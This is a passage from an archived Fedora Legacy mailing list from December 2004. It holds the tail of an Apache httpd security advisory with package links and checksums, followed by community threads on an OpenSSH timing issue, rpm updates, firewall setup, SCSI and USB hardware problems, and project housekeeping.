"SSLCipherSuite" directive in directory or location context. If a particular location context has been configured to require a specific set of cipher suites, then a client will be able to access that location using any cipher suite allowed by the virtual host configuration. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0885 to this issue. Problems that apply to Red Hat Linux 7.3 only: A buffer overflow in mod_include could allow a local user who is authorised to create server side include (SSI) files to gain the privileges of a httpd child. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0940 to this issue. Problems that apply to Red Hat Linux 9 and Fedora Core 1 only: An issue has been discovered in the handling of white space in request header lines using MIME folding. A malicious client could send a carefully crafted request, forcing the server to consume large amounts of memory, leading to a denial of service. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0942 to this issue. Users of the Apache HTTP server should upgrade to these updated packages, which contain patches that address these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: http://bugzilla.fedora.us - 2148 - Apache httpd Vulnerabilities 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/apache-1.3.27-6.legacy.src.rpm http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/mod_ssl-2.8.12-7.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/apache-1.3.27-6.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/apache-devel-1.3.27-6.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/apache-manual-1.3.27-6.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mod_ssl-2.8.12-7.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/httpd-2.0.40-21.17.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/httpd-2.0.40-21.17.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/httpd-devel-2.0.40-21.17.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/httpd-manual-2.0.40-21.17.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mod_ssl-2.0.40-21.17.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/httpd-2.0.51-1.6.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/httpd-2.0.51-1.6.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/httpd-devel-2.0.51-1.6.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/httpd-manual-2.0.51-1.6.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mod_ssl-2.0.51-1.6.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------------- d40866e11e91598844b054f657856d697449aad0 7.3/updates/i386/apache-1.3.27-6.legacy.i386.rpm 14463609d71731d2d1a388dae83d03bcbb200eb3 7.3/updates/i386/apache-devel-1.3.27-6.legacy.i386.rpm ba4e9892ffe4afbc73d4913c145e2e5dc109751d 7.3/updates/i386/apache-manual-1.3.27-6.legacy.i386.rpm a55bac0fa92970caf3e3d8aa611fb80698f90573 7.3/updates/i386/mod_ssl-2.8.12-7.legacy.i386.rpm 6def62270ae08a9fa7a8fc375bea8eb1e3553ff4 7.3/updates/SRPMS/apache-1.3.27-6.legacy.src.rpm 079fb1966c98fab1274d44ca5d0c735c9e4b851b 7.3/updates/SRPMS/mod_ssl-2.8.12-7.legacy.src.rpm cf4421a5eb0cc960c4ac0e79c5a75af4d0a82caf 9/updates/i386/httpd-2.0.40-21.17.legacy.i386.rpm 6e74bb9366d1b43462ccc01eb394b8d28fc71008 9/updates/i386/httpd-devel-2.0.40-21.17.legacy.i386.rpm fedddfa1d24545b9203c9d4dcd80565f12a68150 9/updates/i386/httpd-manual-2.0.40-21.17.legacy.i386.rpm a4d3ec49253f09496284c7b089a539363d8c1ad1 9/updates/i386/mod_ssl-2.0.40-21.17.legacy.i386.rpm 1e7bca22c9f078a4053eea21db5d04f825a60807 9/updates/SRPMS/httpd-2.0.40-21.17.legacy.src.rpm 900fab9908fe5655ffaf75e85ddec3766244b095 1/updates/i386/httpd-2.0.51-1.6.legacy.i386.rpm 92ceef4e0b98ae64df0ae82bdc70fbe19bbc3bff 1/updates/i386/httpd-devel-2.0.51-1.6.legacy.i386.rpm 76b92621a50c287af6fc54c9bd93555d12bf206b 1/updates/i386/httpd-manual-2.0.51-1.6.legacy.i386.rpm e4e38ace9ca2a3ee4c82b4c04fd15dc326fe0004 1/updates/i386/mod_ssl-2.0.51-1.6.legacy.i386.rpm 7204fb50b3eb48203142201f0f3e6324c327bafe 1/updates/SRPMS/httpd-2.0.51-1.6.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0885 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0940 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 http://www.apacheweek.com/features/security-20 http://www.apacheweek.com/features/security-13 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From ricciare at aliceposta.it Sat Dec 4 11:58:02 2004 From: ricciare at aliceposta.it (Nicola Ricciarelli) Date: Sat, 04 Dec 2004 12:58:02 +0100 Subject: AHA1505 and fedora Message-ID: <1102161483.5653.6.camel@localhost.localdomain> I'm using fedora with kernel 2.6.9, I've a very old SCSI controller, ADAPTEC AHA1505, I use it just to control an Epson GT5500 scanner. I know .. very old controller but sufficient for a scanner. I've selected hardware jumpers of the controller so it has I/O= 0x140 and IRQ=9 (the only one free IRQ using windows .. IRQ=11 it has a conflict with ethernet card). The scanner has ID=2. * Adding aha152x=0x140,9,2 in grub.conf nothing occurs * Adding aha152x=0x140,9 in grub.conf nothing occurs * Adding options aha152x aha152x=0x140,9,2 in /etc/modprobe.conf and typing modprobe aha152x nothing occurs * Adding options aha152x aha152x=0x140,9 in /etc/modprobe.conf and typing modprobe aha152x nothing occurs all times it says: Nov 23 18:01:38 localhost kernel: aha152x: resetting bus... Nov 23 18:01:38 localhost kernel: aha152x4: vital data: rev=1, io=0x140 (0x140/0x140), irq=9 , scsiid=7, reconnect=enabled, parity=enabled, synchronous=enabled, delay=100, extended tran slation=disabled Nov 23 18:01:38 localhost kernel: aha152x1: trying software interrupt, lost. Nov 23 18:01:38 localhost kernel: aha152x1: irq 9 possibly wrong. Please verify. ... is that scsi controller still supported? thanks, Nicola -- Nicola Ricciarelli From keb at pa.net Sun Dec 5 22:47:59 2004 From: keb at pa.net (Kevin Bonner) Date: Sun, 5 Dec 2004 17:47:59 -0500 Subject: Self-Introduction: Kevin Bonner Message-ID: <200412051748.06649.keb@pa.net> 1. Kevin Bonner 2. Mechanicsburg, PA, USA 3. Network Engineer 4. CTI Networks 5. Your goals in the Fedora Legacy Project * Which OS versions are you interested in? RedHat 9, Fedora 1+ * Do you want to do QA for packages? Yes * Anything else special? There was this one time at band camp... nevermind. 6. Historical qualifications * What other projects have you worked on in the past? NetMRG (www.netmrg.net) FreeRADIUS (www.freeradius.org) tpop3d (http://www.ex-parrot.com/~chris/tpop3d/) * What computer languages and other skills do you know? C/C++, Perl, Shell, some PHP * Why should we trust you? You shouldn't. As others have said, trust is gained over time. 7. GPG KEYID and fingerprint pub 1024D/5DCE0583 2003-04-08 Kevin Bonner Key fingerprint = 4BFE B067 BAB6 59A3 CAD4 A698 FFD8 BF9A 5DCE 0583 uid Kevin Bonner uid Kevin Bonner (work email) sub 2048g/A2840413 2003-04-08 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tedkaz at optonline.net Sun Dec 5 23:48:33 2004 From: tedkaz at optonline.net (Ted Kaczmarek) Date: Sun, 05 Dec 2004 18:48:33 -0500 Subject: Iplementing a firewall after-the-fact In-Reply-To: References: <1101944314.6659.209875920@webmail.messagingengine.com> <1101948943.14820.108.camel@quirk.cisco.com> Message-ID: <1102290513.28373.42.camel@inyoureyes.linsolutions.com> On Thu, 2004-12-02 at 10:21 +0100, Troels Arvin wrote: > On Wed, 01 Dec 2004 16:55:44 -0800, Howard B Owen wrote: > > > A > > packet filter can often let you know when someone port scans your > > system. > > True. And there was a time when I would closely monitor for suspicious > probes, but I've abandoned that "hobby": What security do I gain from > knowing that someone is trying to do something which is basically not > dangarous (like trying to access a port on which nothing listens)? > > > Secondly, in the case where a service must listen on a port, but > > wants to restrict access by source IP, a packet filter can protect you > > from attacks against the server launched from the banned networks. > > That's true: If the application itself doesn't offer a way to restrict by > IP or network, then packet filtering is a handy alternative (which I also > use in some cases). Also, some software doesn't allow you to specify which > interfaces to listen to, and in that case, iptables is also nice. > > > Of course, firewalls > > themselves can get pretty complicated, too. > > Exactly. And the netfilter software _is_ still software, meaning that it > can contain bugs - bugs that will even run in kernel space. There haven't > been any seriously ugly security bugs in the netfilter code yet, but the > code _could_ contain security problems in itself. That's another reason > why I strive to obtain installations which don't need packet filtering. > > > Another thing you can try is a cron or at > > job that runs 'service iptables stop' at a designated interval after you > > implement your rules. > > Yes, that's a handy trick. Thanks to you and Alexander for pointing that > out. Create the logging rules first you can probably verify almost everything but connection tracking with just the logging rules. I have been using that cron trick forever, but don't forget to remove it :-) I usually add two, one stops it every 3-5 minutes and another every 30 minutes. Cron mail is most helpful in these types of situations as well. Ted From mattdm at mattdm.org Mon Dec 6 17:26:30 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Mon, 6 Dec 2004 12:26:30 -0500 Subject: how to improve the efficiency [Re: Round-up, 2004-11-28] In-Reply-To: References: <20041204041720.GA19502@jadzia.bu.edu> Message-ID: <20041206172630.GA29976@jadzia.bu.edu> On Fri, Dec 03, 2004 at 11:58:11PM -0800, Dan Hollis wrote: > Say what? It most certainly _does_ do fulltext searching, and support for > multiple projects is quite mature. There is also a quite nice bug > interdependency system which is very easy to use and quite flexible. Then maybe they need to update their faq: 9.4. How can I view bugs across multiple projects at the same time? Currently you can't. [...] 9.11. Does Mantis have fulltext searching? There is a simple bug search but not a full search through all fields. > That's a pity, because bugzilla is so cumbersome and obtuse. I don't find it so, especially when it's configured properly. Do you have a specific complaint? -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From byte at aeon.com.my Mon Dec 6 15:09:25 2004 From: byte at aeon.com.my (Colin Charles) Date: Mon, 06 Dec 2004 23:09:25 +0800 Subject: [Fwd: Re: Release notes on project website] Message-ID: <1102345765.30614.0.camel@localhost.localdomain> In case Legacy isn't already keeping the release notes, its something to add to the "todo list" Regards -- Colin Charles, byte at aeon.com.my http://www.bytebot.net/ "First they ignore you, then they laugh at you, then they fight you, then you win." -- Mohandas Gandhi -------------- next part -------------- An embedded message was scrubbed... From: Tammy Fox Subject: Re: Release notes on project website Date: Tue, 30 Nov 2004 21:46:17 -0500 Size: 3941 URL: From jpdalbec at ysu.edu Tue Dec 7 14:36:11 2004 From: jpdalbec at ysu.edu (John Dalbec) Date: Tue, 07 Dec 2004 09:36:11 -0500 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure Message-ID: <41B5BFDB.8020200@ysu.edu> Does this affect -Legacy? 04.48.30 CVE: CAN-2003-0190 Platform: Cross Platform Title: OpenSSH-portable PAM Authentication Remote Information Disclosure Description: OpenSSH is an open source implementation of the Secure Shell protocol. It is vulnerable to a remote information disclosure issue that allows an attacker to guess valid user names on the target system. OpenSSH version 3.9p1 is known to be vulnerable. Ref: http://www.securityfocus.com/advisories/7575 From mattdm at mattdm.org Tue Dec 7 15:02:01 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 7 Dec 2004 10:02:01 -0500 Subject: update RHL9 rpm to 4.2-1? Message-ID: <20041207150201.GA7279@jadzia.bu.edu> A post on the rpm-list reminded me that Red Hat Linux 9 was never officially updated to rpm 4.2-1 -- it's still got 4.2-0.69. The newer version, from , solves the incredibly common problem of RPM getting itself into a state where it just hangs until you manually clean up it's __db files. I think it would be quite reasonable to put out this update for Fedora Legacy. We've been using this updated version in BU Linux 3.0 (which is RHL9-based) for over a year now, with great results. Unless anyone has a strong objection to this, I'll file this request in bugzilla too..... -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From skvidal at phy.duke.edu Tue Dec 7 15:06:45 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Tue, 07 Dec 2004 10:06:45 -0500 Subject: update RHL9 rpm to 4.2-1? In-Reply-To: <20041207150201.GA7279@jadzia.bu.edu> References: <20041207150201.GA7279@jadzia.bu.edu> Message-ID: <1102432005.22987.12.camel@opus.phy.duke.edu> On Tue, 2004-12-07 at 10:02 -0500, Matthew Miller wrote: > A post on the rpm-list reminded me that Red Hat Linux 9 was never officially > updated to rpm 4.2-1 -- it's still got 4.2-0.69. The newer version, from > , solves the incredibly common problem > of RPM getting itself into a state where it just hangs until you manually > clean up it's __db files. > > I think it would be quite reasonable to put out this update for Fedora > Legacy. We've been using this updated version in BU Linux 3.0 (which is > RHL9-based) for over a year now, with great results. > > Unless anyone has a strong objection to this, I'll file this request in > bugzilla too..... Unless there is a security reason to push this update it's not a good idea to mess with people's systems. not the least of which is it breaks some other packages, too. -sv From mattdm at mattdm.org Tue Dec 7 15:30:31 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 7 Dec 2004 10:30:31 -0500 Subject: update RHL9 rpm to 4.2-1? In-Reply-To: <1102432005.22987.12.camel@opus.phy.duke.edu> References: <20041207150201.GA7279@jadzia.bu.edu> <1102432005.22987.12.camel@opus.phy.duke.edu> Message-ID: <20041207153031.GA8492@jadzia.bu.edu> On Tue, Dec 07, 2004 at 10:06:45AM -0500, seth vidal wrote: > > Unless anyone has a strong objection to this, I'll file this request in > > bugzilla too..... > Unless there is a security reason to push this update it's not a good > idea to mess with people's systems. "My package manager is hung and updates can't get applied" seems like a security reason to me -- that's why we made the update here. > not the least of which is it breaks some other packages, too. Which packages? -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From michal at harddata.com Tue Dec 7 15:53:55 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 7 Dec 2004 08:53:55 -0700 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <41B5BFDB.8020200@ysu.edu>; from jpdalbec@ysu.edu on Tue, Dec 07, 2004 at 09:36:11AM -0500 References: <41B5BFDB.8020200@ysu.edu> Message-ID: <20041207085355.B16064@mail.harddata.com> On Tue, Dec 07, 2004 at 09:36:11AM -0500, John Dalbec wrote: > Does this affect -Legacy? > 04.48.30 CVE: CAN-2003-0190 > Platform: Cross Platform > Title: OpenSSH-portable PAM Authentication Remote Information > Disclosure ...... On the first glance this looks like a problem which has the following entry in a changelog from openssh-3.1p1-14: * Thu Jun 05 2003 Nalin Dahyabhai 3.1p1-7 - backport patch to close timing attacks when PAM authentication is short-circuited by other checks At this iime I am not absolutely sure about that. Michal From mattdm at mattdm.org Tue Dec 7 16:57:19 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 7 Dec 2004 11:57:19 -0500 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <20041207085355.B16064@mail.harddata.com> References: <41B5BFDB.8020200@ysu.edu> <20041207085355.B16064@mail.harddata.com> Message-ID: <20041207165719.GA11868@jadzia.bu.edu> On Tue, Dec 07, 2004 at 08:53:55AM -0700, Michal Jaegermann wrote: > On the first glance this looks like a problem which has the > following entry in a changelog from openssh-3.1p1-14: > * Thu Jun 05 2003 Nalin Dahyabhai 3.1p1-7 > - backport patch to close timing attacks when PAM authentication is > short-circuited by other checks > At this iime I am not absolutely sure about that. That was my first thought too. In general, this isn't a particularly worrisome issue, since a dictionary attack is still required. It just makes the dictionary attack slightly easier. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From jpdalbec at ysu.edu Tue Dec 7 18:45:19 2004 From: jpdalbec at ysu.edu (John Dalbec) Date: Tue, 07 Dec 2004 13:45:19 -0500 Subject: how to improve the efficiency In-Reply-To: <20041204170015.266F273BC3@hormel.redhat.com> References: <20041204170015.266F273BC3@hormel.redhat.com> Message-ID: <41B5FA3F.8000505@ysu.edu> Eric Rostetter wrote: > Hmm. I don't have much of a clue. Most of what I know is there in the > wiki. If someone more familiar with Bugzilla can add info about how > to create a Bugzilla bug "correctly" as concerns the bugzilla structure, > keywords, states, etc. then please help out and add details. The most important thing is to add the LEGACY keyword immediately after you file the bug report so it shows up in the "Fedora Legacy Development Tracker" link on the http://www.fedoralegacy.org/ home page. > > Also, I've started a list of mailing lists and web sites there, but I'm sure > others have additional sites they can add. SANS Network Security List (no address available) What about http://www.sans.org/newsletters/ ? I usually post bug reports from the @RISK digest myself. > > Also, I've added a link to the wiki on the top header line, so it is now > easier to get to the wiki from the web site. I think that is useful, but > feedback is appreciated. Very much so. Thanks, John Dalbec > > -- Eric Rostetter From marcus.lauer at nyu.edu Tue Dec 7 22:21:30 2004 From: marcus.lauer at nyu.edu (Marcus Lauer) Date: 07 Dec 2004 17:21:30 -0500 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <20041207165719.GA11868@jadzia.bu.edu> References: <41B5BFDB.8020200@ysu.edu> <20041207085355.B16064@mail.harddata.com> <20041207165719.GA11868@jadzia.bu.edu> Message-ID: <1102458090.13541.5.camel@bizzaro.psych.nyu.edu> On Tue, 2004-12-07 at 11:57, Matthew Miller wrote: > On Tue, Dec 07, 2004 at 08:53:55AM -0700, Michal Jaegermann wrote: > > On the first glance this looks like a problem which has the > > following entry in a changelog from openssh-3.1p1-14: > > * Thu Jun 05 2003 Nalin Dahyabhai 3.1p1-7 > > - backport patch to close timing attacks when PAM authentication is > > short-circuited by other checks > > At this iime I am not absolutely sure about that. > > That was my first thought too. > > In general, this isn't a particularly worrisome issue, since a dictionary > attack is still required. It just makes the dictionary attack slightly > easier. I do hope that somebody fixes this, though. Any bug which allows a dictionary attack on the root account, unlikely as it is to work, is still surely a bad thing. -- Marcus Lauer Lab Manager for the Curtis Lab Psychology Department, NYU Phone: (212)998-8347 http://psych.nyu.edu/curtislab/ From mattdm at mattdm.org Tue Dec 7 22:44:06 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Tue, 7 Dec 2004 17:44:06 -0500 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <1102458090.13541.5.camel@bizzaro.psych.nyu.edu> References: <41B5BFDB.8020200@ysu.edu> <20041207085355.B16064@mail.harddata.com> <20041207165719.GA11868@jadzia.bu.edu> <1102458090.13541.5.camel@bizzaro.psych.nyu.edu> Message-ID: <20041207224406.GA25022@jadzia.bu.edu> On Tue, Dec 07, 2004 at 05:21:30PM -0500, Marcus Lauer wrote: > I do hope that somebody fixes this, though. Any bug which > allows a dictionary attack on the root account, unlikely as it is to > work, is still surely a bad thing. If you're worried about that, and this _is_ the earlier issue, I believe there's a simple workaround: use the 'nodelay' flag to pam_unix. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From marcdeslauriers at videotron.ca Wed Dec 8 01:03:01 2004 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 07 Dec 2004 20:03:01 -0500 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <1102458090.13541.5.camel@bizzaro.psych.nyu.edu> References: <41B5BFDB.8020200@ysu.edu> <20041207085355.B16064@mail.harddata.com> <20041207165719.GA11868@jadzia.bu.edu> <1102458090.13541.5.camel@bizzaro.psych.nyu.edu> Message-ID: <1102467781.8080.9.camel@mdlinux> On Tue, 2004-12-07 at 17:21 -0500, Marcus Lauer wrote: > I do hope that somebody fixes this, though. Any bug which > allows a dictionary attack on the root account, unlikely as it is to > work, is still surely a bad thing. > The dictionary attack that this bug allows only works if you put "PermitRootLogin" to "no" in the sshd config file. Here is a good description of the problem from Red Hat's bugzilla: With openssh configured to not allow remote root login (file: /etc/ssh/sshd_config, PermitRootLogin no), an attempt to log in remotely as root with the wrong password results in a 3 second delay followed by: Permission denied, please try again. If the correct password is entered, there is no delay before presenting the message: Permission denied, please try again. An attacker could measure the time between rejections with an attack tool and determine the root password. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141642 I don't think the changelog entry Michal posted earlier has anything to do with this bug, so it should definitely go into bugzilla. Marc. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From michal at harddata.com Wed Dec 8 06:24:13 2004 From: michal at harddata.com (Michal Jaegermann) Date: Tue, 7 Dec 2004 23:24:13 -0700 Subject: OpenSSH 3.9p1-portable PAM Authentication Remote Information Disclosure In-Reply-To: <1102467781.8080.9.camel@mdlinux>; from marcdeslauriers@videotron.ca on Tue, Dec 07, 2004 at 08:03:01PM -0500 References: <41B5BFDB.8020200@ysu.edu> <20041207085355.B16064@mail.harddata.com> <20041207165719.GA11868@jadzia.bu.edu> <1102458090.13541.5.camel@bizzaro.psych.nyu.edu> <1102467781.8080.9.camel@mdlinux> Message-ID: <20041207232413.A6850@mail.harddata.com> On Tue, Dec 07, 2004 at 08:03:01PM -0500, Marc Deslauriers wrote: > > An attacker could measure the time between rejections with an attack > tool and determine the root password. > > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=141642 > > I don't think the changelog entry Michal posted earlier has > anything to do with this bug, so it should definitely go into > bugzilla. > That indeed looks like a new problem but the quoted Ubuntu advisory, i.e. http://www.securityfocus.com/advisories/7575, and apparently a code from the corresponding patch as well (although here I only looked very quickly and I possibly missed something), refer specifically to CAN-2003-0190 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0190 and this was covered by advisories http://rhn.redhat.com/errata/RHSA-2003-222.html http://rhn.redhat.com/errata/RHSA-2003-224.html Bugzilla entry 141642 is dated 2004-12-02. Michal From skvidal at phy.duke.edu Wed Dec 8 06:38:34 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Wed, 08 Dec 2004 01:38:34 -0500 Subject: update RHL9 rpm to 4.2-1? In-Reply-To: <20041207153031.GA8492@jadzia.bu.edu> References: <20041207150201.GA7279@jadzia.bu.edu> <1102432005.22987.12.camel@opus.phy.duke.edu> <20041207153031.GA8492@jadzia.bu.edu> Message-ID: <1102487914.11508.2.camel@cutter> On Tue, 2004-12-07 at 10:30 -0500, Matthew Miller wrote: > On Tue, Dec 07, 2004 at 10:06:45AM -0500, seth vidal wrote: > > > Unless anyone has a strong objection to this, I'll file this request in > > > bugzilla too..... > > Unless there is a security reason to push this update it's not a good > > idea to mess with people's systems. > > "My package manager is hung and updates can't get applied" seems like a > security reason to me -- that's why we made the update here. > > > > not the least of which is it breaks some other packages, too. > > Which packages? wait nevermind this is on rhl9 I thought I read this on rhl8. it doesn't break what I was thinking about. nevermind :) -sv From mattdm at mattdm.org Wed Dec 8 07:00:14 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 8 Dec 2004 02:00:14 -0500 Subject: update RHL9 rpm to 4.2-1? In-Reply-To: <1102487914.11508.2.camel@cutter> References: <20041207150201.GA7279@jadzia.bu.edu> <1102432005.22987.12.camel@opus.phy.duke.edu> <20041207153031.GA8492@jadzia.bu.edu> <1102487914.11508.2.camel@cutter> Message-ID: <20041208070014.GA9890@jadzia.bu.edu> On Wed, Dec 08, 2004 at 01:38:34AM -0500, seth vidal wrote: > > > not the least of which is it breaks some other packages, too. > > Which packages? > wait nevermind > this is on rhl9 > I thought I read this on rhl8. > it doesn't break what I was thinking about. > nevermind :) :) Okay, cool. You had me worried for a bit there. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mattdm at mattdm.org Wed Dec 8 07:11:17 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Wed, 8 Dec 2004 02:11:17 -0500 Subject: update RHL9 rpm to 4.2-1? In-Reply-To: <20041208070014.GA9890@jadzia.bu.edu> References: <20041207150201.GA7279@jadzia.bu.edu> <1102432005.22987.12.camel@opus.phy.duke.edu> <20041207153031.GA8492@jadzia.bu.edu> <1102487914.11508.2.camel@cutter> <20041208070014.GA9890@jadzia.bu.edu> Message-ID: <20041208071117.GA10829@jadzia.bu.edu> So: . -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From rostetter at mail.utexas.edu Wed Dec 8 16:51:18 2004 From: rostetter at mail.utexas.edu (Eric Rostetter) Date: Wed, 8 Dec 2004 10:51:18 -0600 Subject: [Fwd: Re: Release notes on project website] In-Reply-To: <1102345765.30614.0.camel@localhost.localdomain> References: <1102345765.30614.0.camel@localhost.localdomain> Message-ID: <1102524678.3bd535dc81bfc@mail.ph.utexas.edu> Quoting Colin Charles : > In case Legacy isn't already keeping the release notes, its something to > add to the "todo list" I've added it to the TODO list, but I'm not sure if this is something FL should really be doing or not, and if so, how much of it we should be doing. So basically, it is on the TODO list, but still up for discussion. -- Eric Rostetter From diogenes at xenodochy.org Thu Dec 9 02:12:48 2004 From: diogenes at xenodochy.org (Ralph E. Kenyon, Jr.) Date: Wed, 08 Dec 2004 21:12:48 -0500 Subject: Help! - USB HC TakeOver failed! In-Reply-To: References: <6.0.1.1.2.20031128123208.047bb988@vgernet.net> <20031130043459.GA11337@infoave.net> <6.0.1.1.2.20031202033125.0363cdd0@vgernet.net> Message-ID: On Wed, 17 Nov 2004 10:38:20 -0500, Ralph E. Kenyon, Jr. wrote: > On Tue, 02 Dec 2003 03:36:00 -0500, Ralph E. Kenyon, Jr. > wrote: > >> At 2003-11-29 23:34, Jay Daniels wrote: >>> On Fri, Nov 28, 2003 at 12:36:52PM -0500, Ralph E Kenyon Jr wrote: >>> > Nobody answered this before. Is this a really tough one? >>> > Can anybody give suggestions? >>> > >>> > I'm brand new to Linux. I have a socket 7 system on which I >>> installed Red >>> > Hat 9, clean and alone, but the installation reports an error in the >>> USB >>> > area. >>> > >>> > I'm getting "USB HC TakeOver failed!" >>> > >>> > A couple of weeks of searching and reading has not gotten me any >>> closer to >>> > understanding what's wrong or how to fix it. >>> > >>> >>> All else fails, you may want to try and use up2date to update to the >>> current kernel. On the i686 tree, it's version 2.4.20-20.9 >>> >>> >From what I found at google, there was a kernel or module bug in the >>> pre released version you are using that caused this exact problem! >>> >>> Anyway it's worth a shot. I had good luck letting up2date update the >>> kernel then rebooting. You may want to try it on your system or >>> you may want to investigate further. >>> >>> good luck, >>> >>> jay >> >> Thanks, Jay, >> >> It looks like my system board requires the i586 tree, since that's what >> got installed. >> >> I installed the 2.4.20.-20.9 kernel, but it had more problems. >> After checking the Red hat site, I installed the 2.4.20-24.9 kernel, >> but it reports the same error as before. >> >> Could there be some other packages - USB packages - that might work? >> >> Ralph Kenyon >> > > I'm now up2date with Kernel-2.4.20-31.9.legacy > > The chipset is SiS7001. > > I find that if I modprobe usb-ohci, the usb seems to function. > It detects a hub I attached, and finds the Logitech tracball plugged in. > > The system, however, hangs on checking for new hardware on bootup if the > usb hardware is plugged in. > > I've tried adding post-install usb-oihc /sbin/modprobe usb-ohic to > /etc/modules.conf, but that does not solve the problem. > > Any suggestions for how I can try to get the system to recognize the usb > HC on bootup? > > Thanks, > I found the following: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=56567 While this bug is closed as "not a bug", it references a fix for the problem here: http://www.kernel.org/pub/linux/kernel/people/gregkh/usb/2.5/usb-ohci-hcd-3-2.5.21.patch It may be useful to note that Tiger Direct sold pre-loaded Redhat linux 6.2 PC-100 systems with the SiS7001 chipset on board during 2000. I bought one, so I really don't have any idea how to get the above fix in. My system was reloaded with Redhat 9, and I'm fully up2date with kernel-2.4.20-37.9.legacy. The "problem" is still there. I don't know how many Tiger Direct sold, but there may be a few more in service than the few I've seen reporting the problem. Is there any possibility of getting this fix into the Redhat 9 legacy kernel? - other than on a do-it-yourself basis? (On which I wouldn't know where to begin.) Thanks for any help anyone can offer. -- Ralph E. Kenyon, Jr. http://www.xenodochy.org/ralph.html 191 White Oaks Road Williamstown, MA 01267-2259 Phone: 413-458-3597 Home pages: http://www.xenodochy.org http://www.ballroomdances.org ------------------------------------------------------- FIGHT SPAM http://www.xenodochy.org/diogenes/antispam.html (If you are thinking about collecting my email address, read the above page first!) -------------------------------------------------------- Keep our semantic environments and cyberspace clean. Always report errors discovered while surfing the web. ------------------------------------------------------ My favorite saying (from general semantics): It's not that seeing is believing, believing is seeing, and we're much better at believing than we are at seeing. http://www.xenodochy.org/ex/quotes/santayana.html From diogenes at xenodochy.org Thu Dec 9 07:48:16 2004 From: diogenes at xenodochy.org (Ralph E. Kenyon, Jr.) Date: Thu, 09 Dec 2004 02:48:16 -0500 Subject: kernel-2.4.20-37.9.legacy.src.rpm problem Message-ID: Hi all, I'm running Redhat 9 